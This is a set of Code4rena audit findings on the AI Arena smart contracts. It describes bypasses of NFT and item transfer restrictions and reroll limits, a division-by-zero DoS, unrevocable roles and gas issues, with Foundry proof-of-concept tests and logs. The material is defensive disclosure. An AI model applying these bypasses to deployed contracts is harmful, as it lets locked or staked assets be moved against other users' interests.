AI Arena - jesjupyter's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L546 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L348 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355-L365 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L175-L183

Vulnerability details

Impact

In the FighterFarm contract, the _ableToTransfer function is used to guarantee that the user's hero amount should not exceed MAX_FIGHTERS_ALLOWED and the transferred hero should not be in STAKED status. However, the contract FighterFarm inherits ERC721, but doesn't implement all its safeTransferFrom methods. As a result, the initial check could be bypassed using function safeTransferFrom(address, address, uint256, bytes memory), and the user's hero amount can exceed MAX_FIGHTERS_ALLOWED and staked hero can also be transferred.

Proof of Concept

The FighterFarm contract inherits ERC721 to manage the creation, ownership, and redemption of AI Arena Fighter NFTs.

contract FighterFarm is ERC721, ERC721Enumerable {
     ...
}

The _ableToTransfer function is used to guarantee that the user's hero amount should not exceed MAX_FIGHTERS_ALLOWED and the transferred hero should not be in STAKED status. Hence, the contract could work normally.

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }

The function _ableToTransfer is used in transferFrom(address, address, uint256) and safeTransferFrom(address, address, uint256).

    function transferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721) 
    { // @audit could still get locked?
        require(_ableToTransfer(tokenId, to));
        _transfer(from, to, tokenId);
    }

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

However, the base function ERC721::safeTransferFrom(address, address, uint256, bytes memory) is not implemented by the inherited FighterFarm contract. Thus the check could be bypassed.

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
        _safeTransfer(from, to, tokenId, data);
    }

As a result, the user's hero amount can exceed MAX_FIGHTERS_ALLOWED and the staked hero can also be transferred.

The PoC is shown below (in FighterFarm.t.sol):

    function testTransferringWithDataToBypassCheck() public {
        _mintFromMergingPool(_ownerAddress);
        _fighterFarmContract.addStaker(_ownerAddress);
        _fighterFarmContract.updateFighterStaking(0, true);
        assertEq(_fighterFarmContract.fighterStaked(0), true);
        // check that i'm unable to transfer since i staked
        emit log_string("try using transferFrom with check");
        vm.expectRevert();
        _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
        assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        emit log_named_address("the token 0 owner using transferFrom", _fighterFarmContract.ownerOf(0));

        // check that i'm unable to transfer since i staked
        emit log_string("try using safeTransferFrom with check");
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
        assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        emit log_named_address("the token 0 owner using safeTransferFrom(3 args)", _fighterFarmContract.ownerOf(0));

        // check that i could bypass the check to transfer after staking
        emit log_string("try using safeTransferFrom without check");
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
        emit log_named_address("the token 0 owner using safeTransferFrom(4 args)", _fighterFarmContract.ownerOf(0));
    }

The log is shown below:

[PASS] testTransferringWithDataToBypassCheck() (gas: 524412)
Logs:
  try using transferFrom with check
  the token 0 owner using transferFrom: 0x90193C961A926261B756D1E5bb255e67ff9498A1
  try using safeTransferFrom with check
  the token 0 owner using safeTransferFrom(3 args): 0x90193C961A926261B756D1E5bb255e67ff9498A1
  try using safeTransferFrom without check
  the token 0 owner using safeTransferFrom(4 args): 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0

Tools Used

Foundry

Recommended Mitigation Steps

Implement function safeTransferFrom(address, address, uint256, bytes memory) by adding _ableToTransfer in the function.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L10 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

Impact

The GameItems inherits ERC1155 to represent a collection of game items used. It overrides safeTransferFrom to add a check to see if the game item is transferable. However, the base function safeBatchTransferFrom is not overridden, thus the untransferable item could be transferred without any check.

Proof of Concept

The GameItems inherits ERC1155 to represent a collection of game items used.

contract GameItems is ERC1155 {
    ...
}

The safeTransferFrom function is overridden with a check that untransferable item can not be transferred.

    function safeTransferFrom( // @audit can be bypassed? safeBatchTransferFrom. PoC
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

But the problem lies in the point that the function ERC1155::safeBatchTransferFrom can also be used to transfer the ERC1155 item, but the function is not overridden in the contract GameItems, so there is no relevant check in this function.

ERC1155.sol
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override {
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        _safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Thus untransferable token can still be transferred via safeBatchTransferFrom in GameItems.

The PoC is shown below (in GameItems.t.sol):

    function testSafeBatchTransferFrom() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries
        emit log_named_uint("token amount in owner", _gameItemsContract.balanceOf(_ownerAddress, 0));
        _gameItemsContract.adjustTransferability(0, false);
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); // will revert due to requirement
        emit log_string("the token is untransferable and can not be transferred via safeTransferFrom");
        emit log_named_uint("token amount in owner", _gameItemsContract.balanceOf(_ownerAddress, 0));
        emit log_named_uint("token amount in receiver", _gameItemsContract.balanceOf(address(1), 0));        
        uint[] memory ids = new uint[](1);
        ids[0] = 0;
        uint[] memory amounts = new uint[](1);
        amounts[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, address(1), ids, amounts, ""); // will succeed
        assertEq(_gameItemsContract.balanceOf(address(1), 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);
        emit log_string("the token is untransferable but can be transferred via safeBatchTransferFrom");
        emit log_named_uint("token amount in owner", _gameItemsContract.balanceOf(_ownerAddress, 0));
        emit log_named_uint("token amount in receiver", _gameItemsContract.balanceOf(address(1), 0));
    }

The log is shown below:

[PASS] testSafeBatchTransferFrom() (gas: 224523)
Logs:
  token amount in owner: 2
  the token is untransferable and can not be transferred via safeTransferFrom
  token amount in owner: 2
  token amount in receiver: 0
  the token is untransferable but can be transferred via safeBatchTransferFrom
  token amount in owner: 1
  token amount in receiver: 1

Tools Used

Foundry

Recommended Mitigation Steps

The safeBatchTransferFrom should also be implemented with the same check.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L217 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L235

Vulnerability details

Impact

In FighterFarm::claimFighters, the fighterTypes is not taken from user input, but is pre-assumed that they are in the order like 0,0,0,1,1,1. However, this is not guaranteed, if a user doesn't input as pre-assumed, this would cause a mismatch between other params(like modelHashes, modelTypes) and fighterTypes.

Proof of Concept

In FighterFarm::claimFighters, the fighterTypes is not taken from user input. Instead, i < numToMint[0] ? 0 : 1 is used to decide the types.

            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(msg.sender, fighters.length))),
                modelHashes[i], 
                modelTypes[i],
                i < numToMint[0] ? 0 : 1,
                0,
                [uint256(100), uint256(100)]
            );

This shows that the function preassumes that fighterTypes are in the order like 0,0,0,1,1,1(type 0 always occurs before 1), however, this is never guaranteed. If a user doesn't input as pre-assumed, this would cause a mismatch between other params(like modelHashes, modelTypes) and fighterTypes.

In the function redeemMintPass, fighterTypes is used as input param, so that there will be no mismatch.

Tools Used

VSCode

Recommended Mitigation Steps

Add parms uint8[] calldata fighterTypes just like function redeemMintPass.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L372 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L383-L388 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L129-L134

Vulnerability details

Note

This finding is linked with another issue numElements is never set for generation larger than 0, causing DoS for _createFighterBase which causes DoS (I submitted another issue for this, since the two findings are different). This finding will cause problems when the related issue has been fixed.

Impact

In the FighterFarm::reRoll, the input fighterType is decided by the user. If the generation of two fighterType is different and the user has used up all the maxRerollsAllowed for the fighterType with smaller generation, he could bypass the check and call reRoll with the other fighterType as input, but the actual fighterType of his hero is not changed.

Proof of Concept

In the FighterFarm contract, the generation is used to store the current generation for each fighter type.

    uint8[2] public generation = [0, 0];

Whenever an upgrade is performed with incrementGeneration, the maxRerollsAllowed for this generation is added by 1.

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }

Then, in the reRoll function, the numRerolls[tokenId] is checked so that it can not exceed maxRerollsAllowed[fighterType]).

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        ...
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        ...
    }

However, there is no check in the function that fighterType should comply to the dendroidBool of the existing hero.

As a result, the user could bypass the check via calling reRoll with the other fighterType as input, but the actual fighterType of the hero is not changed.

Consider the following situation:

1. The generation of fighterType = 0 is 0 and the generation of fighterType = 1 is 1.
2. The user has a NFT with fighterType = 0, tokenId = 0.
3. He rerolled 3 times, which exceeded the limit of maxRerollsAllowed.
4. He could bypass the check by calling the reRoll with fighterType=1 and the info could be updated, and his NFT's fighterType is still 0.

POC

Before running the PoC, the function FighterFarm::incrementGeneration should be modified ( due to the issue that numElements is never set for generation larger than 0, causing DoS for _createFighterBase).

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        numElements[generation[fighterType]] = 3; // @note: for PoC use.
        return generation[fighterType];
    }

The PoC is shown below (in FighterFarm.t.sol):

    function testStillRerollWhenLimitExceeded() public {
        _mintFromMergingPool(_ownerAddress);
        // get 4k neuron from treasury
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _fighterFarmContract.incrementGeneration(1); // so for fighterType = 1, it's generation is larger


        uint8 maxRerolls = _fighterFarmContract.maxRerollsAllowed(0);
        
        emit log_named_uint("for fighterType 0, max rerolls is ", _fighterFarmContract.maxRerollsAllowed(0));
        emit log_named_uint("for fighterType 1, max rerolls is ", _fighterFarmContract.maxRerollsAllowed(1));

        uint8 tokenId = 0;
        uint8 fighterType = 0;
        _neuronContract.addSpender(address(_fighterFarmContract));
        for (uint8 i = 0; i < maxRerolls; i++) {
            _fighterFarmContract.reRoll(tokenId, fighterType); // just reroll, 
        }

        vm.expectRevert();
        _fighterFarmContract.reRoll(tokenId, fighterType);
        emit log_named_uint("reach maxlimit, numRerolls", _fighterFarmContract.numRerolls(tokenId));
        (,,,,,,,,bool typebefore) = _fighterFarmContract.fighters(0);
        emit log_named_string("before, the nft's dendroidBool is ", typebefore?"true":"false");

        _fighterFarmContract.reRoll(tokenId, 1); // reroll with fighterType = 1
        emit log_named_uint("bypass the limit, numRerolls", _fighterFarmContract.numRerolls(tokenId));
        (,,,,,,,,bool typeAfter) = _fighterFarmContract.fighters(0);
        emit log_named_string("after, the nft's dendroidBool is ", typeAfter?"true":"false");
        
    }

The Log is shown below:

Logs:
  for fighterType 0, max rerolls is : 3
  for fighterType 1, max rerolls is : 4
  reach maxlimit, numRerolls: 3
  before, the nft's dendroidBool is : false
  bypass the limit, numRerolls: 4
  after, the nft's dendroidBool is : false

Tools Used

Foundry

Recommended Mitigation Steps

Two possible ways:

1. Don't get fighterType from user input, instead, get it from fighters[tokenId].dendroidBool like fighterType = fighters[tokenId].dendroidBool?1:0.
2. add checks so that fighters[tokenId].dendroidBool == (fighterType == 1)

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L84-L85 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L110 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474

Vulnerability details

Impact

In the contract FighterFarm, the mapping numElements is never set for generation > 0, causing permanent DoS in function _createFighterBase after the generation is upgraded.

Proof of Concept

The mapping numElements appears only 3 times in the contract FighterFarm, in definition, constructor and _createFighterBase

    /// @notice Mapping of number elements by generation.
    mapping(uint8 => uint8) public numElements; // <= appearance

    constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
        ERC721("AI Arena Fighter", "FTR")
    {
        _ownerAddress = ownerAddress;
        _delegatedAddress = delegatedAddress;
        treasuryAddress = treasuryAddress_;
        numElements[0] = 3; // <= appearance
    } 

    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % numElements[generation[fighterType]]; // <= appearance
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

The numElements is never set for generation > 0, which will cause permanent DoS in function _createFighterBase after the generation is upgraded due to division or modulo by zero error.

The PoC is shown below (in FighterFarm.t.sol):

    function testIncrementGenerationAndRevertWhenCreating() public {
        _fighterFarmContract.incrementGeneration(1);
        _fighterFarmContract.incrementGeneration(0);
        assertEq(_fighterFarmContract.generation(1), 1);
        assertEq(_fighterFarmContract.generation(0), 1);

        uint8[2] memory numToMint = [1, 0];
        bytes memory claimSignature = abi.encodePacked(
            hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
        );
        string[] memory claimModelHashes = new string[](1);
        claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory claimModelTypes = new string[](1);
        claimModelTypes[0] = "original";

        // Expect a revert
        vm.expectRevert();
        _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes);   
    }    

The log is shown below:

[PASS] testIncrementGenerationAndRevertWhenCreating() (gas: 93364)
Traces:
    ...
    ├─ [46343] FighterFarm::claimFighters([1, 0], 0x407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c, ["ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"], ["original"])
    │   ├─ [4574] Verification::verify(0x25820a63f06e1e0f1084b9ab80ecbc8c9659397472c0fea95a08a93019aa3586, 0x407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c, 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0) [delegatecall]
    │   │   ├─ [3000] PRECOMPILES::ecrecover(0xfd8716f5403181916d3702b50af2e697692bec1db02b71fb540c50728810e1ef, 28, 29167584611576571339878995233636422018945121535272023715362727324106082621178, 35314661797998437913913732547377583040930425685770092457433811664373280228048) [staticcall]
    │   │   │   └─ ← 0x00000000000000000000000022f4441ad6dbd602dfde5cd8a38f6cade68860b0
    │   │   └─ ← true
    │   └─ ← panic: division or modulo by zero (0x12)
    └─ ← ()

Tools Used

Foundry

Recommended Mitigation Steps

When FighterFarm::incrementGeneration is being called, numElements for this generation should be set, like

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        ...
        generation[fighterType] += 1;
        ...
        numElements[generation[fighterType]] = ...; // <= initialize numElements[generation[fighterType]]
        ...
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/Neuron.sol#L93-L96 https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/Neuron.sol#L101-L104 https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/Neuron.sol#L109-L112 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L185-L188 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L139-L142

Vulnerability details

Impact

Some privileged roles in some contracts(Neuron, GameItems, FighterFarm) are set up by the admin or owner. However, the setup is unilateral and can not be revoked, which means that after an address is granted with the role, there's no way to revoke it. This could lead to security issues when the role is mistakenly set by the admin or is compromised.

Proof of Concept

Neuron contract

The privileged roles in the Neuron contract are MINTER_ROLE, SPENDER_ROLE, and STAKER_ROLE. All these roles are set via the addX function like below:

    function addMinter(address newMinterAddress) external {
        require(msg.sender == _ownerAddress);
        _setupRole(MINTER_ROLE, newMinterAddress);
    }

It's clear that _setupRole is inherited from AccessControl.

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

However, _revokeRole is never called in Neuron. And manually calling AccessControl::revokeRole will revert since RoleData.adminRole is never set. This could lead to security issues when the role is mistakenly set by the admin or is compromised.

We have the PoC here(in Neuron.t.sol).

    function testGetRoleAdmin() public { 
        _neuronContract.addMinter(_DELEGATED_ADDRESS);
        assertEq(_neuronContract.hasRole(keccak256("MINTER_ROLE"), _DELEGATED_ADDRESS), true);
        emit log_named_bytes32("admin role of MINTER_ROLE", _neuronContract.getRoleAdmin(keccak256("MINTER_ROLE")));
        vm.expectRevert();
        _neuronContract.revokeRole(keccak256("MINTER_ROLE"), _DELEGATED_ADDRESS);
    }

Log:

Logs:
  admin role of MINTER_ROLE: 0x0000000000000000000000000000000000000000000000000000000000000000

revert with revert: AccessControl: account 0x7fa9385be102ac3eac297483dd6233d62b3e1496 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000

GameItems contract

In the GameItem contract, allowedBurningAddresses is used as the privileged role.

    mapping(address => bool) public allowedBurningAddresses;

And the role is set via setAllowedBurningAddresses, but it's always set to true.

    function setAllowedBurningAddresses(address newBurningAddress) public {
        require(isAdmin[msg.sender]);
        allowedBurningAddresses[newBurningAddress] = true; // @audit can only set to true
    }

In the contract, the allowedBurningAddresses[newBurningAddress] can not be reset to false since this is unilateral. This could lead to security issues when the role is mistakenly set by the admin or is compromised.

FighterFarm contract

In the FighterFarm contract, the Staker role can only be added via addStaker but nowhere to be revoked.

    function addStaker(address newStaker) external {
        require(msg.sender == _ownerAddress);
        hasStakerRole[newStaker] = true;
    }

This could lead to security issues when the role is mistakenly set by the admin or is compromised.

Tools Used

Foundry

Recommended Mitigation Steps

Add functions to be able to revoke the role previously granted, or change the current function, so that an address can either be granted with the role or revoked.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L149-L163

Vulnerability details

Impact

In MergingPool::claimRewards, nested-for-loop is used to mint NFT for a user from numRoundsClaimed[msg.sender] to roundId. However, if a user hasn't claimed rewards for quite a long time, his transaction may revert due to out-of-gas.

Proof of Concept

In MergingPool::claimRewards, users can batch claim rewards for multiple rounds.

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

However, a nested-for-loop is used to go through all rounds from numRoundsClaimed[msg.sender] to roundId, and go through winnerAddresses to check if msg.sender is eligible for minting.

However, if a user hasn't claimed rewards for quite a long time, his transaction may revert due to out-of-gas since there are so many rounds to go through. Thus, the user may be unable to claim his rewards.

Tools Used

VSCode

Recommended Mitigation Steps

Add an input param higherBound for the function, so that currentRound will stop at the higherBound.

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes,
        uint32 higherBound, // <= input param added
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        require(higherBound > lowerBound && higherBound <= roundId); // <= add checks here
        for (uint32 currentRound = lowerBound; currentRound < higherBound; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L342-L344 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L460-L463 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L476-L478 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/StakeAtRisk.sol#L101-L106 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545

Vulnerability details

Impact

If an NFT is transferred during the round with NRN tokens at risk (meaning the previous owner has lost the game), any subsequent updateBattleRecord call for this NFT in this round will cause unintended behavior, including:

1. If the new owner hasn't staked any NRN before, or he is not at a certain loss in StakeAtRisk::amountLost[fighterOwner], any updateBattleRecord call will revert if the NFT wins the battle due to arithmetic underflow or overflow.
2. If the new owner is at a certain loss in StakeAtRisk::amountLost[fighterOwner], he can earn some at-risk-stake of the previous owner without any penalty in this round.

This impact will last for the whole round, approximately 2 weeks.

Proof of Concept

Imagine the following scenario:

1. The previous owner, let's say A, has staked some NRN to get rewards. Since has lost a battle, he will have some NRN transferred to StakeAtRisk contract, and the stakeAtRisk[round][fighterId] will increase in updateAtRiskRecords

    function updateAtRiskRecords(
        uint256 nrnToPlaceAtRisk, 
        uint256 fighterId, 
        address fighterOwner
    ) 
        external 
    {
        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
        stakeAtRisk[roundId][fighterId] += nrnToPlaceAtRisk;
        totalStakeAtRisk[roundId] += nrnToPlaceAtRisk;
        amountLost[fighterOwner] += nrnToPlaceAtRisk;
        emit IncreasedStakeAtRisk(fighterId, nrnToPlaceAtRisk);
    }   

2. User A doesn't want to proceed with the game and decides to quit. So, he unstakeNRN and gets his NFT unlocked.

    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        ...
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false); // unlock here
            }
            emit Unstaked(msg.sender, amount);
        }
    }

3. Since the NFT is in unlocked states, the FighterFarm::_ableToTransfer check is bypassed. user A transfers the NFT to user B who will continue to play in this round.

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }

4. For user B, he can't stake NRN for the NFT in the current round since unstake has been called for this NFT. However, when updateBattleRecord is being called, _addResultPoints will still be called since _stakeAtRiskInstance.getStakeAtRisk(tokenId) is non-zero.

    function updateBattleRecord(
        uint256 tokenId, 
        uint256 mergingPortion,
        uint8 battleResult,
        uint256 eloFactor,
        bool initiatorBool
    ) 
        external 
    {   
        ...
        uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); // <= non-zero for stakeAtRisk[round][fighterId]
        if (amountStaked[tokenId] + stakeAtRisk > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }
        ...
    }

5. In _addResultPoints, since amountStaked[tokenId] = 0, there will be no penalty for user B when the match is lost since B has nothing to lose.

   But if the NFT wins the battle, something unexpected will occur. Since stakeAtRisk is non-zero, curStakeAtRisk will be greater than 0, thus _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); will be called.

    function _addResultPoints(...) {
        ...
        stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
        ...
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
        ...
        if (curStakeAtRisk > 0) {
            _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
            amountStaked[tokenId] += curStakeAtRisk;
        }
    }

6. In StakeAtRisk::reclaimNRN, amountLost[fighterOwner] will be updated for user B.

        bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
        if (success) {
            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
            totalStakeAtRisk[roundId] -= nrnToReclaim;
            amountLost[fighterOwner] -= nrnToReclaim;
            emit ReclaimedStake(fighterId, nrnToReclaim);
        }

• If amountLost[address( User B)] is zero or is less than nrnToReclaim, meaning he hasn't staked any NRN before, or he has not reached a certain loss, the transaction would revert due to arithmetic underflow or overflow.
• If amountLost[address( User B)] is greater than nrnToReclaim, meaning user B is at a certain loss in previous battles(with other NFTs), he could earn some at-risk-stake of the user A without any penalty in this round.

The PoC for the first case (in RankedBattle.t.sol):

    function testRevertAfterTransferAtRisk() public {
        address oldPlayer = vm.addr(3);
        address newPlayer = vm.addr(4);

        _mintFromMergingPool(oldPlayer);

        _fundUserWith4kNeuronByTreasury(oldPlayer);

        vm.prank(oldPlayer);
        _rankedBattleContract.stakeNRN(4000 * 10 ** 18, 0);

        emit log_named_uint("NRN in _rankedBattleContract" , _neuronContract.balanceOf(address(_rankedBattleContract)) / 1 ether);


        // assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // lose 1 game

        emit log_named_uint("oldPlayer staked NRN in _rankedBattleContract" , _rankedBattleContract.amountStaked(0) / 1 ether);
        emit log_named_uint("NRN in _rankedBattleContract" , _neuronContract.balanceOf(address(_rankedBattleContract)) / 1 ether);

        vm.startPrank(oldPlayer);
        _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(0),0);
        emit log_named_string("after unstaking, token0's lock status", _fighterFarmContract.fighterStaked(0)?"locked":"unlocked");

        _fighterFarmContract.transferFrom(oldPlayer,newPlayer,0);
        vm.stopPrank();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // lose 1 game
        emit log_string("new player can lose in game");
